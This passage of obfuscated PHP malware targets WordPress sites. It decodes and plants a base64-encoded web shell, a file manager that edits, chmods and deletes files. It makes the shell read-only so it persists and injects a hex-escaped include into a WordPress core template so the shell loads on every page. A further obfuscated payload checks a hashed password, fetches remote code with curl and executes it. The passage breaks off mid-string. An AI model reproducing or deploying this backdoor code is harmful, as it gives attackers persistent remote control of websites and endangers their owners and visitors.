NwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdL